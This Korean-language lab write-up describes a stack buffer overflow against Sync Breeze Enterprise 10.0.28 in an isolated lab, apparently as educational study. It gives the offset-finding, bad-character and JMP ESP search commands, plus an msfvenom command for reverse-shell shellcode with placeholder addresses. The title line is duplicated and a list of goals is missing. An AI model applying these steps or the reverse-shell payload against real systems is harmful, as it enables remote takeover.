
교육 목적을 위한 통제된 실습 환경에서의 고전적인 스택 기반 버퍼 오버플로 취약점 연구.
교육 목적으로 통제된 실험실 환경에서의 고전적인 스택 기반 버퍼 오버플로우 취약점 연구.
이 프로젝트의 목표는 다음을 더 잘 이해하는 것이었습니다:
첫 번째 단계는 취약점 연구 및 익스플로잇 개발 목적으로 구성된 Windows 10 가상 머신 내부에 Sync Breeze Enterprise 10.0.28을 설치하는 것이었습니다.
환경은 안전하고 통제된 테스트를 보장하기 위해 격리되었습니다.
공격 대상 및 공격자 가상 머신 모두 익스플로잇 과정 중 시스템 간 직접 네트워크 통신을 허용하기 위해 브리지 네트워크 어댑터 모드로 구성되었습니다.


런타임 중 애플리케이션 동작을 분석하고 크래시 조건을 관찰하기 위해 디버깅 도구를 구성했습니다.
크래시를 유발하는 데 필요한 대략적인 버퍼 크기를 식별하기 위해 대량의 바이트 시퀀스를 애플리케이션에 전송했습니다.
크래시 임계값을 확인한 후, 발견된 페이로드 크기를 사용하여 애플리케이션을 다시 테스트하여 취약점을 확인했습니다.
명령 포인터(EIP)를 덮어쓰는 데 필요한 정확한 오프셋을 식별했습니다.
고유 패턴 생성:
/usr/bin/msf-pattern_create -l <SIZE>
오프셋 식별:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
설명:
<SIZE> = 퍼징 중 발견된 페이로드 길이<EIP_VALUE> = EIP를 덮어쓰는 것으로 관찰된 4바이트 값
애플리케이션이 안전하게 처리할 수 없는 바이트를 확인하기 위해 배드 캐릭터를 식별했습니다.
ASLR이 활성화되지 않은 모듈에서 적합한 JMP ESP 명령을 찾았습니다.
로드된 모듈 열거:
!mona modules
JMP ESP 검색:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
정적 메모리 주소가 존재하기 때문에 애플리케이션 전용 DLL을 우선적으로 선택했습니다.

제어된 버퍼로의 정확한 리디렉션을 보장하기 위해 페이로드 실행 흐름을 검증했습니다.
이전에 식별된 배드 캐릭터를 제외하고 셸코드를 생성했습니다.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
페이로드 실행 신뢰성을 높이기 위해 셸코드 앞에 NOP 슬레드(\x90)를 추가했습니다.

최종 익스플로잇을 조립하여 격리된 실험실 환경에서 성공적으로 테스트했습니다.
이 프로젝트는 격리된 실험실 환경에서 교육 및 연구 목적으로만 개발되었습니다.